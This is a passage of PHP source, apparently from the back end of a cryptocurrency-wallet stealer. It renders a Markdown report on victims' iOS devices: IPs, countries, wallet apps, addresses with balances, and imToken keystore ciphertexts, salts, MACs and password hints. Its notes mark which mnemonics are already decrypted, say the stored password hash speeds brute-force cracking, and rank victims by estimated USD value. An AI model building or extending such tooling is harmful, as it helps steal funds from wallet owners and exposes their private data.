summary['exported_at']; $md[] = ''; $md[] = '## 汇总'; $md[] = ''; $md[] = '| 指标 | 值 |'; $md[] = '|---|---|'; $md[] = "| 设备数 | {$this->summary['device_count']} |"; $md[] = "| 地址数 | {$this->summary['address_count']} |"; $md[] = "| Keystore 数 | {$this->summary['keystore_count']} |"; foreach ($this->summary['totals']['coins'] as $col => $val) { $sym = strtoupper($col); $md[] = "| {$sym} 总额 | {$val} |"; } $md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |"; $md[] = ''; $md[] = '> USD 估算仅用于排序,价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1'; $md[] = ''; foreach ($this->devices as $device) { $this->renderDevice($md, $device); } $md[] = '---'; $md[] = ''; $md[] = '## 字段说明'; $md[] = ''; $md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)'; $md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对'; $md[] = '- **imTokenMeta.source**: `MNEMONIC` = 加密的是助记词;`PRIVATE_KEY` = 加密的是单私钥'; $md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)'; $md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)'; $md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥'; $md[] = ''; return implode("\n", $md); } private function renderDevice(array &$md, array $device): void { $md[] = '---'; $md[] = ''; $md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`"; $md[] = ''; $md[] = '| 字段 | 值 |'; $md[] = '|---|---|'; $md[] = "| Channel ID | {$device['channel_id']} |"; $md[] = "| 机型 | {$device['model']} |"; $md[] = "| iOS 版本 | {$device['ios_version']} |"; $md[] = "| IP | {$device['ip']} |"; $md[] = "| 国家 | {$device['country']} |"; $md[] = "| 钱包应用 | ".implode(', ', $device['wallet_names']).' |'; $md[] = "| 创建时间 | {$device['created_at']} |"; $md[] = "| 地址数 | ".count($device['addresses']).' |'; $md[] = "| Keystore 数 | ".count($device['keystores']).' |'; $md[] = "| USD 估算 | {$device['totals']['usd_approx']} |"; $md[] = ''; $this->renderAddressTable($md, $device['addresses']); $this->renderKeystores($md, $device['keystores']); } private function renderAddressTable(array &$md, array $addresses): void { if ($addresses === []) { $md[] = '### 地址(无)'; $md[] = ''; return; } $md[] = '### 地址'; $md[] = ''; $header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor']; foreach (WalletAddress::COIN_COLUMNS as $col) { $header[] = strtoupper($col); } $md[] = '| '.implode(' | ', $header).' |'; $md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|'; foreach ($addresses as $a) { $row = [ $a['id'], '`'.$a['address'].'`', $a['chain_type'], $a['derive_index'] ?? '-', $a['mnemonic_id'] ?? '-', $a['monitor'] ? '✓' : '·', ]; foreach (WalletAddress::COIN_COLUMNS as $col) { $row[] = $a['coins'][$col] ?? '0'; } $md[] = '| '.implode(' | ', $row).' |'; } $md[] = ''; } private function renderKeystores(array &$md, array $keystores): void { if ($keystores === []) { $md[] = '### Keystore(无)'; $md[] = ''; return; } $md[] = '### Keystore'; $md[] = ''; foreach ($keystores as $ks) { $this->renderKeystore($md, $ks); } } private function renderKeystore(array &$md, array $ks): void { $k = $ks['keystore']; $dec = $ks['decrypted'] ? '✓ 已解出' : '✗ 未解出'; $md[] = "#### Keystore #{$ks['id']} — `{$ks['source']}` — {$dec}"; $md[] = ''; $md[] = '| 字段 | 值 |'; $md[] = '|---|---|'; $md[] = "| type | {$k['type']} |"; $md[] = "| version | {$k['version']} |"; $md[] = "| address | ".($k['address'] ? '`'.$k['address'].'`' : '-')." |"; $md[] = "| derivationPath | `{$k['derivationPath']}` |"; $md[] = "| keyHash | `{$k['keyHash']}` |"; $md[] = "| raw_json 长度 | {$ks['raw_json_len']} 字节 |"; $md[] = "| 创建时间 | {$ks['created_at']} |"; $md[] = ''; $crypto = $k['crypto']; $md[] = '**crypto**'; $md[] = ''; $md[] = '| 字段 | 值 |'; $md[] = '|---|---|'; $md[] = "| kdf | {$crypto['kdf']} |"; $md[] = "| cipher | {$crypto['cipher']} |"; $kp = $crypto['kdfparams'] ?? []; if (is_array($kp)) { if (isset($kp['c'])) { $md[] = "| kdfparams.c (迭代) | {$kp['c']} |"; } if (isset($kp['n'])) { $md[] = "| kdfparams.n | {$kp['n']} |"; } if (isset($kp['r'])) { $md[] = "| kdfparams.r | {$kp['r']} |"; } if (isset($kp['p'])) { $md[] = "| kdfparams.p | {$kp['p']} |"; } if (isset($kp['dklen'])) { $md[] = "| kdfparams.dklen | {$kp['dklen']} |"; } if (isset($kp['prf'])) { $md[] = "| kdfparams.prf | {$kp['prf']} |"; } if (isset($kp['salt'])) { $md[] = "| kdfparams.salt | `{$kp['salt']}` |"; } } $cp = $crypto['cipherparams'] ?? []; if (is_array($cp) && isset($cp['iv'])) { $md[] = "| cipherparams.iv | `{$cp['iv']}` |"; } $md[] = "| ciphertext | `{$crypto['ciphertext']}` |"; $md[] = "| mac | `{$crypto['mac']}` |"; $md[] = ''; $meta = $k['imTokenMeta']; if (is_array($meta)) { $md[] = '**imTokenMeta**'; $md[] = ''; $md[] = '| 字段 | 值 |'; $md[] = '|---|---|'; foreach ($meta as $key => $val) { if (is_array($val)) { $val = json_encode($val, JSON_UNESCAPED_UNICODE); } $md[] = "| {$key} | {$val} |"; } $md[] = ''; } $accts = $k['activeAccounts']; if (is_array($accts) && $accts !== []) { $md[] = '**activeAccounts**'; $md[] = ''; $md[] = '| coin | address | derivationPath | publicKey |'; $md[] = '|---|---|---|---|'; foreach ($accts as $acc) { $md[] = '| '.($acc['coin'] ?? '-').' | `'.($acc['address'] ?? '-')."` | `".($acc['derivationPath'] ?? '-')."` | `".($acc['publicKey'] ?? '-').'` |'; } $md[] = ''; } } }